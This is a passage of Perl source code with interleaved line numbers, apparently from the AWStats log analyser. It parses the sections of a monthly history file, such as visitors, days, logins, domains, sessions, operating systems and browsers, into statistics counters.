                                if (   $field[0] ne 'END_ORIGIN'
4048
 
                                        && $field[0] ne "${xmleb}END_ORIGIN" )
4049
 
                                {
4050
 
                                        error(
4051
 
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4052
 
                                                "", "", 1
4053
 
                                        );
4054
 
                                }
4055
 
                                if ($Debug) {
4056
 
                                        debug(
4057
 
" End of ORIGIN section ($count entries, $countloaded loaded)"
4058
 
                                        );
4059
 
                                }
4060
 
                                delete $SectionsToLoad{'origin'};
4061
 
                                if ( $SectionsToSave{'origin'} ) {
4062
 
                                        Save_History( 'origin', $year, $month, $date );
4063
 
                                        delete $SectionsToSave{'origin'};
4064
 
                                        if ($withpurge) { @_from_p = (); @_from_h = (); }
4065
 
                                }
4066
 
                                if ( !scalar %SectionsToLoad ) {
4067
 
                                        debug(" Stop reading history file. Got all we need.");
4068
 
                                        last;
4069
 
                                }
4070
 
                                next;
4071
 
                        }
4072
 
 
4073
 
                        # BEGIN_DAY
4074
 
                        if ( $field[0] eq 'BEGIN_DAY' ) {
4075
 
                                if ($Debug) { debug(" Begin of DAY section"); }
4076
 
                                $field[0] = '';
4077
 
                                my $count       = 0;
4078
 
                                my $countloaded = 0;
4079
 
                                do {
4080
 
                                        if ( $field[0] ) {
4081
 
                                                $count++;
4082
 
                                                if ( $SectionsToLoad{'day'} ) {
4083
 
                                                        $countloaded++;
4084
 
                                                        if ( $field[1] ) {
4085
 
                                                                $DayPages{ $field[0] } += int( $field[1] );
4086
 
                                                        }
4087
 
                                                        $DayHits{ $field[0] } +=
4088
 
                                                          int( $field[2] )
4089
 
                                                          ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
4090
 
                                                        if ( $field[3] ) {
4091
 
                                                                $DayBytes{ $field[0] } += int( $field[3] );
4092
 
                                                        }
4093
 
                                                        if ( $field[4] ) {
4094
 
                                                                $DayVisits{ $field[0] } += int( $field[4] );
4095
 
                                                        }
4096
 
                                                }
4097
 
                                        }
4098
 
                                        $_ = <HISTORY>;
4099
 
                                        chomp $_;
4100
 
                                        s/\r//;
4101
 
                                        @field =
4102
 
                                          split( /\s+/,
4103
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4104
 
                                        $countlines++;
4105
 
                                  } until ( $field[0] eq 'END_DAY'
4106
 
                                          || $field[0] eq "${xmleb}END_DAY"
4107
 
                                          || !$_ );
4108
 
                                if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
4109
 
                                {
4110
 
                                        error(
4111
 
"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4112
 
                                                "", "", 1
4113
 
                                        );
4114
 
                                }
4115
 
                                if ($Debug) {
4116
 
                                        debug(
4117
 
" End of DAY section ($count entries, $countloaded loaded)"
4118
 
                                        );
4119
 
                                }
4120
 
                                delete $SectionsToLoad{'day'};
4121
 
 
4122
 
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4123
 
#if ($SectionsToSave{'day'}) {  # Must be made after read of visitor
4124
 
#       Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
4125
 
#       if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
4126
 
#}
4127
 
                                if ( !scalar %SectionsToLoad ) {
4128
 
                                        debug(" Stop reading history file. Got all we need.");
4129
 
                                        last;
4130
 
                                }
4131
 
                                next;
4132
 
                        }
4133
 
 
4134
 
                        # BEGIN_VISITOR
4135
 
                        if ( $field[0] eq 'BEGIN_VISITOR' ) {
4136
 
                                if ($Debug) { debug(" Begin of VISITOR section"); }
4137
 
                                $field[0] = '';
4138
 
                                my $count       = 0;
4139
 
                                my $countloaded = 0;
4140
 
                                do {
4141
 
                                        if ( $field[0] ) {
4142
 
                                                $count++;
4143
 
 
4144
 
                                                # For backward compatibility
4145
 
                                                if ($readvisitorforbackward) {
4146
 
                                                        if ( $field[1] ) {
4147
 
                                                                $MonthUnique{ $year . $month }++;
4148
 
                                                        }
4149
 
                                                        if ( $MonthRequired ne 'all' ) {
4150
 
                                                                if (   $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
4151
 
                                                                        && $field[0] !~ /^[0-9A-F]*:/i )
4152
 
                                                                {
4153
 
                                                                        $MonthHostsKnown{ $year . $month }++;
4154
 
                                                                }
4155
 
                                                                else { $MonthHostsUnknown{ $year . $month }++; }
4156
 
                                                        }
4157
 
                                                }
4158
 
 
4159
 
                                                # Process data saved in 'wait' arrays
4160
 
                                                if ( $withupdate && $_waithost_e{ $field[0] } ) {
4161
 
                                                        my $timehostl = int( $field[4] || 0 );
4162
 
                                                        my $timehosts = int( $field[5] || 0 );
4163
 
                                                        my $newtimehosts = (
4164
 
                                                                  $_waithost_s{ $field[0] }
4165
 
                                                                ? $_waithost_s{ $field[0] }
4166
 
                                                                : $_host_s{ $field[0] }
4167
 
                                                        );
4168
 
                                                        my $newtimehostl = (
4169
 
                                                                  $_waithost_l{ $field[0] }
4170
 
                                                                ? $_waithost_l{ $field[0] }
4171
 
                                                                : $_host_l{ $field[0] }
4172
 
                                                        );
4173
 
                                                        if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
4174
 
                                                                if ($Debug) {
4175
 
                                                                        debug(
4176
 
" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
4177
 
                                                                                4
4178
 
                                                                        );
4179
 
                                                                }
4180
 
                                                                if ( $field[6] ) { $_url_x{ $field[6] }++; }
4181
 
                                                                $_url_e{ $_waithost_e{ $field[0] } }++;
4182
 
                                                                $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
4183
 
                                                                $DayVisits{$1}++;
4184
 
                                                                if ( $timehosts && $timehostl ) {
4185
 
                                                                        $_session{
4186
 
                                                                                GetSessionRange( $timehosts,
4187
 
                                                                                        $timehostl )
4188
 
                                                                          }++;
4189
 
                                                                }
4190
 
                                                                if ( $_waithost_s{ $field[0] } ) {
4191
 
 
4192
 
           # First session found in log was followed by another one so it's finished
4193
 
                                                                        $_session{
4194
 
                                                                                GetSessionRange( $newtimehosts,
4195
 
                                                                                        $newtimehostl )
4196
 
                                                                          }++;
4197
 
                                                                }
4198
 
 
4199
 
                                         # Here $_host_l $_host_s and $_host_u are correctly defined
4200
 
                                                        }
4201
 
                                                        else {
4202
 
                                                                if ($Debug) {
4203
 
                                                                        debug(
4204
 
" Visit for $field[0] in 'wait' arrays is following of last visit in history",
4205
 
                                                                                4
4206
 
                                                                        );
4207
 
                                                                }
4208
 
                                                                if ( $_waithost_s{ $field[0] } ) {
4209
 
 
4210
 
           # First session found in log was followed by another one so it's finished
4211
 
                                                                        $_session{
4212
 
                                                                                GetSessionRange(
4213
 
                                                                                        MinimumButNoZero(
4214
 
                                                                                                $timehosts, $newtimehosts
4215
 
                                                                                        ),
4216
 
                                                                                        $timehostl > $newtimehostl
4217
 
                                                                                        ? $timehostl
4218
 
                                                                                        : $newtimehostl
4219
 
                                                                                )
4220
 
                                                                          }++;
4221
 
 
4222
 
                                         # Here $_host_l $_host_s and $_host_u are correctly defined
4223
 
                                                                }
4224
 
                                                                else {
4225
 
 
4226
 
                                                                        # We correct $_host_l $_host_s and $_host_u
4227
 
                                                                        if ( $timehostl > $newtimehostl ) {
4228
 
                                                                                $_host_l{ $field[0] } = $timehostl;
4229
 
                                                                                $_host_u{ $field[0] } = $field[6];
4230
 
                                                                        }
4231
 
                                                                        if ( $timehosts < $newtimehosts ) {
4232
 
                                                                                $_host_s{ $field[0] } = $timehosts;
4233
 
                                                                        }
4234
 
                                                                }
4235
 
                                                        }
4236
 
                                                        delete $_waithost_e{ $field[0] };
4237
 
                                                        delete $_waithost_l{ $field[0] };
4238
 
                                                        delete $_waithost_s{ $field[0] };
4239
 
                                                        delete $_waithost_u{ $field[0] };
4240
 
                                                }
4241
 
 
4242
 
                                                # Load records
4243
 
                                                if (   $readvisitorforbackward != 2
4244
 
                                                        && $SectionsToLoad{'visitor'} )
4245
 
                                                {    # if readvisitorforbackward==2 we do not load
4246
 
                                                        my $loadrecord = 0;
4247
 
                                                        if ($withupdate) {
4248
 
                                                                $loadrecord = 1;
4249
 
                                                        }
4250
 
                                                        else {
4251
 
                                                                if (   $HTMLOutput{'allhosts'}
4252
 
                                                                        || $HTMLOutput{'lasthosts'} )
4253
 
                                                                {
4254
 
                                                                        if (
4255
 
                                                                                (
4256
 
                                                                                        !$FilterIn{'host'}
4257
 
                                                                                        || $field[0] =~ /$FilterIn{'host'}/i
4258
 
                                                                                )
4259
 
                                                                                && ( !$FilterEx{'host'}
4260
 
                                                                                        || $field[0] !~
4261
 
                                                                                        /$FilterEx{'host'}/i )
4262
 
                                                                          )
4263
 
                                                                        {
4264
 
                                                                                $loadrecord = 1;
4265
 
                                                                        }
4266
 
                                                                }
4267
 
                                                                elsif ($MonthRequired eq 'all'
4268
 
                                                                        || $field[2] >= $MinHit{'Host'} )
4269
 
                                                                {
4270
 
                                                                        if (
4271
 
                                                                                $HTMLOutput{'unknownip'}
4272
 
                                                                                && ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
4273
 
                                                                                        || $field[0] =~ /^[0-9A-F]*:/i )
4274
 
                                                                          )
4275
 
                                                                        {
4276
 
                                                                                $loadrecord = 1;
4277
 
                                                                        }
4278
 
                                                                        elsif (
4279
 
                                                                                $HTMLOutput{'main'}
4280
 
                                                                                && (   $MonthRequired eq 'all'
4281
 
                                                                                        || $countloaded <
4282
 
                                                                                        $MaxNbOf{'HostsShown'} )
4283
 
                                                                          )
4284
 
                                                                        {
4285
 
                                                                                $loadrecord = 1;
4286
 
                                                                        }
4287
 
                                                                }
4288
 
                                                        }
4289
 
                                                        if ($loadrecord) {
4290
 
                                                                if ( $field[1] ) {
4291
 
                                                                        $_host_p{ $field[0] } += $field[1];
4292
 
                                                                }
4293
 
                                                                if ( $field[2] ) {
4294
 
                                                                        $_host_h{ $field[0] } += $field[2];
4295
 
                                                                }
4296
 
                                                                if ( $field[3] ) {
4297
 
                                                                        $_host_k{ $field[0] } += $field[3];
4298
 
                                                                }
4299
 
                                                                if ( $field[4] && !$_host_l{ $field[0] } )
4300
 
                                                                { # We save last connexion params if not previously defined
4301
 
                                                                        $_host_l{ $field[0] } = int( $field[4] );
4302
 
                                                                        if ($withupdate)
4303
 
                                                                        { # field[5] field[6] are used only for update
4304
 
                                                                                if ( $field[5]
4305
 
                                                                                        && !$_host_s{ $field[0] } )
4306
 
                                                                                {
4307
 
                                                                                        $_host_s{ $field[0] } =
4308
 
                                                                                          int( $field[5] );
4309
 
                                                                                }
4310
 
                                                                                if ( $field[6]
4311
 
                                                                                        && !$_host_u{ $field[0] } )
4312
 
                                                                                {
4313
 
                                                                                        $_host_u{ $field[0] } = $field[6];
4314
 
                                                                                }
4315
 
                                                                        }
4316
 
                                                                }
4317
 
                                                                $countloaded++;
4318
 
                                                        }
4319
 
                                                }
4320
 
                                        }
4321
 
                                        $_ = <HISTORY>;
4322
 
                                        chomp $_;
4323
 
                                        s/\r//;
4324
 
                                        @field =
4325
 
                                          split( /\s+/,
4326
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4327
 
                                        $countlines++;
4328
 
                                  } until ( $field[0] eq 'END_VISITOR'
4329
 
                                          || $field[0] eq "${xmleb}END_VISITOR"
4330
 
                                          || !$_ );
4331
 
                                if (   $field[0] ne 'END_VISITOR'
4332
 
                                        && $field[0] ne "${xmleb}END_VISITOR" )
4333
 
                                {
4334
 
                                        error(
4335
 
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4336
 
                                                "", "", 1
4337
 
                                        );
4338
 
                                }
4339
 
                                if ($Debug) {
4340
 
                                        debug(
4341
 
" End of VISITOR section ($count entries, $countloaded loaded)"
4342
 
                                        );
4343
 
                                }
4344
 
                                delete $SectionsToLoad{'visitor'};
4345
 
 
4346
 
# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
4347
 
#if ($SectionsToSave{'visitor'}) {
4348
 
#       Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
4349
 
#       if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
4350
 
#}
4351
 
                                if ( !scalar %SectionsToLoad ) {
4352
 
                                        debug(" Stop reading history file. Got all we need.");
4353
 
                                        last;
4354
 
                                }
4355
 
                                next;
4356
 
                        }
4357
 
 
4358
 
                        # BEGIN_UNKNOWNIP for backward compatibility
4359
 
                        if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
4360
 
                                my %iptomigrate = ();
4361
 
                                if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
4362
 
                                $field[0] = '';
4363
 
                                my $count       = 0;
4364
 
                                my $countloaded = 0;
4365
 
                                do {
4366
 
                                        if ( $field[0] ) {
4367
 
                                                $count++;
4368
 
                                                if ( $SectionsToLoad{'unknownip'} ) {
4369
 
                                                        $iptomigrate{ $field[0] } = $field[1] || 0;
4370
 
                                                        $countloaded++;
4371
 
                                                }
4372
 
                                        }
4373
 
                                        $_ = <HISTORY>;
4374
 
                                        chomp $_;
4375
 
                                        s/\r//;
4376
 
                                        @field =
4377
 
                                          split( /\s+/,
4378
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4379
 
                                        $countlines++;
4380
 
                                  } until ( $field[0] eq 'END_UNKNOWNIP'
4381
 
                                          || $field[0] eq "${xmleb}END_UNKNOWNIP"
4382
 
                                          || !$_ );
4383
 
                                if (   $field[0] ne 'END_UNKNOWNIP'
4384
 
                                        && $field[0] ne "${xmleb}END_UNKNOWNIP" )
4385
 
                                {
4386
 
                                        error(
4387
 
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4388
 
                                                "", "", 1
4389
 
                                        );
4390
 
                                }
4391
 
                                if ($Debug) {
4392
 
                                        debug(
4393
 
" End of UNKOWNIP section ($count entries, $countloaded loaded)"
4394
 
                                        );
4395
 
                                }
4396
 
                                delete $SectionsToLoad{'visitor'};
4397
 
 
4398
 
# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
4399
 
                                foreach ( keys %iptomigrate ) {
4400
 
                                        $_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
4401
 
                                        $_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
4402
 
                                        $_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
4403
 
                                        if ( $iptomigrate{$_} > 0 ) {
4404
 
                                                $_host_l{$_} = $iptomigrate{$_};
4405
 
                                        }
4406
 
                                }
4407
 
                                delete $_host_p{'Unknown'};
4408
 
                                delete $_host_h{'Unknown'};
4409
 
                                delete $_host_k{'Unknown'};
4410
 
                                delete $_host_l{'Unknown'};
4411
 
                                if ( !scalar %SectionsToLoad ) {
4412
 
                                        debug(" Stop reading history file. Got all we need.");
4413
 
                                        last;
4414
 
                                }
4415
 
                                next;
4416
 
                        }
4417
 
 
4418
 
                        # BEGIN_LOGIN
4419
 
                        if ( $field[0] eq 'BEGIN_LOGIN' ) {
4420
 
                                if ($Debug) { debug(" Begin of LOGIN section"); }
4421
 
                                $field[0] = '';
4422
 
                                my $count       = 0;
4423
 
                                my $countloaded = 0;
4424
 
                                do {
4425
 
                                        if ( $field[0] ) {
4426
 
                                                $count++;
4427
 
                                                if ( $SectionsToLoad{'login'} ) {
4428
 
                                                        $countloaded++;
4429
 
                                                        if ( $field[1] ) {
4430
 
                                                                $_login_p{ $field[0] } += $field[1];
4431
 
                                                        }
4432
 
                                                        if ( $field[2] ) {
4433
 
                                                                $_login_h{ $field[0] } += $field[2];
4434
 
                                                        }
4435
 
                                                        if ( $field[3] ) {
4436
 
                                                                $_login_k{ $field[0] } += $field[3];
4437
 
                                                        }
4438
 
                                                        if ( !$_login_l{ $field[0] } && $field[4] ) {
4439
 
                                                                $_login_l{ $field[0] } = int( $field[4] );
4440
 
                                                        }
4441
 
                                                }
4442
 
                                        }
4443
 
                                        $_ = <HISTORY>;
4444
 
                                        chomp $_;
4445
 
                                        s/\r//;
4446
 
                                        @field =
4447
 
                                          split( /\s+/,
4448
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4449
 
                                        $countlines++;
4450
 
                                  } until ( $field[0] eq 'END_LOGIN'
4451
 
                                          || $field[0] eq "${xmleb}END_LOGIN"
4452
 
                                          || !$_ );
4453
 
                                if (   $field[0] ne 'END_LOGIN'
4454
 
                                        && $field[0] ne "${xmleb}END_LOGIN" )
4455
 
                                {
4456
 
                                        error(
4457
 
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4458
 
                                                "", "", 1
4459
 
                                        );
4460
 
                                }
4461
 
                                if ($Debug) {
4462
 
                                        debug(
4463
 
" End of LOGIN section ($count entries, $countloaded loaded)"
4464
 
                                        );
4465
 
                                }
4466
 
                                delete $SectionsToLoad{'login'};
4467
 
                                if ( $SectionsToSave{'login'} ) {
4468
 
                                        Save_History( 'login', $year, $month, $date );
4469
 
                                        delete $SectionsToSave{'login'};
4470
 
                                        if ($withpurge) {
4471
 
                                                %_login_p = ();
4472
 
                                                %_login_h = ();
4473
 
                                                %_login_k = ();
4474
 
                                                %_login_l = ();
4475
 
                                        }
4476
 
                                }
4477
 
                                if ( !scalar %SectionsToLoad ) {
4478
 
                                        debug(" Stop reading history file. Got all we need.");
4479
 
                                        last;
4480
 
                                }
4481
 
                                next;
4482
 
                        }
4483
 
 
4484
 
                        # BEGIN_DOMAIN
4485
 
                        if ( $field[0] eq 'BEGIN_DOMAIN' ) {
4486
 
                                if ($Debug) { debug(" Begin of DOMAIN section"); }
4487
 
                                $field[0] = '';
4488
 
                                my $count       = 0;
4489
 
                                my $countloaded = 0;
4490
 
                                do {
4491
 
                                        if ( $field[0] ) {
4492
 
                                                $count++;
4493
 
                                                if ( $SectionsToLoad{'domain'} ) {
4494
 
                                                        $countloaded++;
4495
 
                                                        if ( $field[1] ) {
4496
 
                                                                $_domener_p{ $field[0] } += $field[1];
4497
 
                                                        }
4498
 
                                                        if ( $field[2] ) {
4499
 
                                                                $_domener_h{ $field[0] } += $field[2];
4500
 
                                                        }
4501
 
                                                        if ( $field[3] ) {
4502
 
                                                                $_domener_k{ $field[0] } += $field[3];
4503
 
                                                        }
4504
 
                                                }
4505
 
                                        }
4506
 
                                        $_ = <HISTORY>;
4507
 
                                        chomp $_;
4508
 
                                        s/\r//;
4509
 
                                        @field =
4510
 
                                          split( /\s+/,
4511
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4512
 
                                        $countlines++;
4513
 
                                  } until ( $field[0] eq 'END_DOMAIN'
4514
 
                                          || $field[0] eq "${xmleb}END_DOMAIN"
4515
 
                                          || !$_ );
4516
 
                                if (   $field[0] ne 'END_DOMAIN'
4517
 
                                        && $field[0] ne "${xmleb}END_DOMAIN" )
4518
 
                                {
4519
 
                                        error(
4520
 
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4521
 
                                                "", "", 1
4522
 
                                        );
4523
 
                                }
4524
 
                                if ($Debug) {
4525
 
                                        debug(
4526
 
" End of DOMAIN section ($count entries, $countloaded loaded)"
4527
 
                                        );
4528
 
                                }
4529
 
                                delete $SectionsToLoad{'domain'};
4530
 
                                if ( $SectionsToSave{'domain'} ) {
4531
 
                                        Save_History( 'domain', $year, $month, $date );
4532
 
                                        delete $SectionsToSave{'domain'};
4533
 
                                        if ($withpurge) {
4534
 
                                                %_domener_p = ();
4535
 
                                                %_domener_h = ();
4536
 
                                                %_domener_k = ();
4537
 
                                        }
4538
 
                                }
4539
 
                                if ( !scalar %SectionsToLoad ) {
4540
 
                                        debug(" Stop reading history file. Got all we need.");
4541
 
                                        last;
4542
 
                                }
4543
 
                                next;
4544
 
                        }
4545
 
 
4546
 
                        # BEGIN_SESSION
4547
 
                        if ( $field[0] eq 'BEGIN_SESSION' ) {
4548
 
                                if ($Debug) { debug(" Begin of SESSION section"); }
4549
 
                                $field[0] = '';
4550
 
                                my $count       = 0;
4551
 
                                my $countloaded = 0;
4552
 
                                do {
4553
 
                                        if ( $field[0] ) {
4554
 
                                                $count++;
4555
 
                                                if ( $SectionsToLoad{'session'} ) {
4556
 
                                                        $countloaded++;
4557
 
                                                        if ( $field[1] ) {
4558
 
                                                                $_session{ $field[0] } += $field[1];
4559
 
                                                        }
4560
 
                                                }
4561
 
                                        }
4562
 
                                        $_ = <HISTORY>;
4563
 
                                        chomp $_;
4564
 
                                        s/\r//;
4565
 
                                        @field =
4566
 
                                          split( /\s+/,
4567
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4568
 
                                        $countlines++;
4569
 
                                  } until ( $field[0] eq 'END_SESSION'
4570
 
                                          || $field[0] eq "${xmleb}END_SESSION"
4571
 
                                          || !$_ );
4572
 
                                if (   $field[0] ne 'END_SESSION'
4573
 
                                        && $field[0] ne "${xmleb}END_SESSION" )
4574
 
                                {
4575
 
                                        error(
4576
 
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4577
 
                                                "", "", 1
4578
 
                                        );
4579
 
                                }
4580
 
                                if ($Debug) {
4581
 
                                        debug(
4582
 
" End of SESSION section ($count entries, $countloaded loaded)"
4583
 
                                        );
4584
 
                                }
4585
 
                                delete $SectionsToLoad{'session'};
4586
 
 
4587
 
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4588
 
#if ($SectionsToSave{'session'}) {
4589
 
#       Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
4590
 
#       if ($withpurge) { %_session=(); }
4591
 
#}
4592
 
                                if ( !scalar %SectionsToLoad ) {
4593
 
                                        debug(" Stop reading history file. Got all we need.");
4594
 
                                        last;
4595
 
                                }
4596
 
                                next;
4597
 
                        }
4598
 
 
4599
 
                        # BEGIN_OS
4600
 
                        if ( $field[0] eq 'BEGIN_OS' ) {
4601
 
                                if ($Debug) { debug(" Begin of OS section"); }
4602
 
                                $field[0] = '';
4603
 
                                my $count       = 0;
4604
 
                                my $countloaded = 0;
4605
 
                                do {
4606
 
                                        if ( $field[0] ) {
4607
 
                                                $count++;
4608
 
                                                if ( $SectionsToLoad{'os'} ) {
4609
 
                                                        $countloaded++;
4610
 
                                                        if ( $field[1] ) {
4611
 
                                                                $_os_h{ $field[0] } += $field[1];
4612
 
                                                        }
4613
 
                                                }
4614
 
                                        }
4615
 
                                        $_ = <HISTORY>;
4616
 
                                        chomp $_;
4617
 
                                        s/\r//;
4618
 
                                        @field =
4619
 
                                          split( /\s+/,
4620
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4621
 
                                        $countlines++;
4622
 
                                  } until ( $field[0] eq 'END_OS'
4623
 
                                          || $field[0] eq "${xmleb}END_OS"
4624
 
                                          || !$_ );
4625
 
                                if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
4626
 
                                        error(
4627
 
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4628
 
                                                "", "", 1
4629
 
                                        );
4630
 
                                }
4631
 
                                if ($Debug) {
4632
 
                                        debug(
4633
 
" End of OS section ($count entries, $countloaded loaded)"
4634
 
                                        );
4635
 
                                }
4636
 
                                delete $SectionsToLoad{'os'};
4637
 
                                if ( $SectionsToSave{'os'} ) {
4638
 
                                        Save_History( 'os', $year, $month, $date );
4639
 
                                        delete $SectionsToSave{'os'};
4640
 
                                        if ($withpurge) { %_os_h = (); }
4641
 
                                }
4642
 
                                if ( !scalar %SectionsToLoad ) {
4643
 
                                        debug(" Stop reading history file. Got all we need.");
4644
 
                                        last;
4645
 
                                }
4646
 
                                next;
4647
 
                        }
4648
 
 
4649
 
                        # BEGIN_BROWSER
4650
 
                        if ( $field[0] eq 'BEGIN_BROWSER' ) {
4651
 
                                if ($Debug) { debug(" Begin of BROWSER section"); }
4652
 
                                $field[0] = '';
4653
 
                                my $count       = 0;
4654
 
                                my $countloaded = 0;
4655
 
                                do {
4656
 
                                        if ( $field[0] ) {
4657
 
                                                $count++;
4658
 
                                                if ( $SectionsToLoad{'browser'} ) {
4659
 
                                                        $countloaded++;
4660
 
                                                        if ( $field[1] ) {
4661
 
                                                                $_browser_h{ $field[0] } += $field[1];
4662
 
                                                        }
4663
 
                                                }
4664
 
                                        }
4665
 
                                        $_ = <HISTORY>;
4666
 
                                        chomp $_;
4667
 
                                        s/\r//;
4668
 
                                        @field =
4669
 
                                          split( /\s+/,
4670
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4671
 
                                        $countlines++;
4672
 
                                  } until ( $field[0] eq 'END_BROWSER'
4673
 
                                          || $field[0] eq "${xmleb}END_BROWSER"
4674
 
                                          || !$_ );
4675
 
                                if (   $field[0] ne 'END_BROWSER'
4676
 
                                        && $field[0] ne "${xmleb}END_BROWSER" )
4677
 
                                {
4678
 
                                        error(
4679
 
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4680
 
                                                "", "", 1
4681
 
                                        );
4682
 
                                }
4683
 
                                if ($Debug) {
4684
 
                                        debug(
4685
 
" End of BROWSER section ($count entries, $countloaded loaded)"
4686
 
                                        );
4687
 
                                }
4688
 
                                delete $SectionsToLoad{'browser'};
4689
 
                                if ( $SectionsToSave{'browser'} ) {
4690
 
                                        Save_History( 'browser', $year, $month, $date );
4691
 
                                        delete $SectionsToSave{'browser'};
4692
 
                                        if ($withpurge) { %_browser_h = (); }
4693
 
                                }
4694
 
                                if ( !scalar %SectionsToLoad ) {
4695
 
                                        debug(" Stop reading history file. Got all we need.");
4696
 
                                        last;
4697
 
                                }
4698
 
                                next;
4699
 
                        }
4700
 
 
4701
 
                        # BEGIN_UNKNOWNREFERER
4702
 
                        if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
4703
 
                                if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
4704
 
                                $field[0] = '';
4705
 
                                my $count       = 0;
4706
 
                                my $countloaded = 0;
4707
 
                                do {
4708
 
                                        if ( $field[0] ) {
4709
 
                                                $count++;
4710
 
                                                if ( $SectionsToLoad{'unknownreferer'} ) {
4711
 
                                                        $countloaded++;
4712
 
                                                        if ( !$_unknownreferer_l{ $field[0] } ) {
4713
 
                                                                $_unknownreferer_l{ $field[0] } =
4714
 
                                                                  int( $field[1] );
4715
 
                                                        }
4716
 
                                                }
4717
 
                                        }
4718
 
                                        $_ = <HISTORY>;
4719
 
                                        chomp $_;
4720
 
                                        s/\r//;
4721
 
                                        @field =
4722
 
                                          split( /\s+/,
4723
 
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4724
 
                                        $countlines++;
4725
 
                                  } until ( $field[0] eq 'END_UNKNOWNREFERER'
4726
 
                                          || $field[0] eq "${xmleb}END_UNKNOWNREFERER"
4727
 
                                          || !$_ );
4728
 
                                if (   $field[0] ne 'END_UNKNOWNREFERER'
4729
 
                                        && $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
4730
 
                                {
4731
 
                                        error(
4732
 
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4733
 
                                                "", "", 1
4734
 
                                        );
4735
 
                                }
4736
 
                                if ($Debug) {
4737
 
                                        debug(
4738
 
" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
4739
 
                                        );
4740
 
                                }
4741
 
                                delete $SectionsToLoad{'unknownreferer'};
4742
 
                                if ( $SectionsToSave{'unknownreferer'} ) {
4743
 
                                        Save_History( 'unknownreferer', $year, $month, $date );
4744
 
                                        delete $SectionsToSave{'unknownreferer'};
4745
 
                                        if ($withpurge) { %_unknownreferer_l = (); }
4746
 
                                }
4747
 
                                if ( !scalar %SectionsToLoad ) {
4748
 
                                        debug(" Stop reading history file. Got all we need.");
4749
 
                                        last;
4750
 
                                }
4751
 
                                next;
4752
 
                        }
4753
 
 
4754
 
                        # BEGIN_UNKNOWNREFERERBROWSER
4755
 
                        if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
4756
 
                                if ($Debug) {
4757
 
                                        debug(" Begin of UNKNOWNREFERERBROWSER section");
4758
 
                                }
4759
 
                                $field[0] = '';
4760
 
                                my $count       = 0;
4761
 
                                my $countloaded = 0;
4762
 
                                do {
4763
 
                                        if ( $field[0] ) {
4764
 
                                                $count++;
4765
 
                                                if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
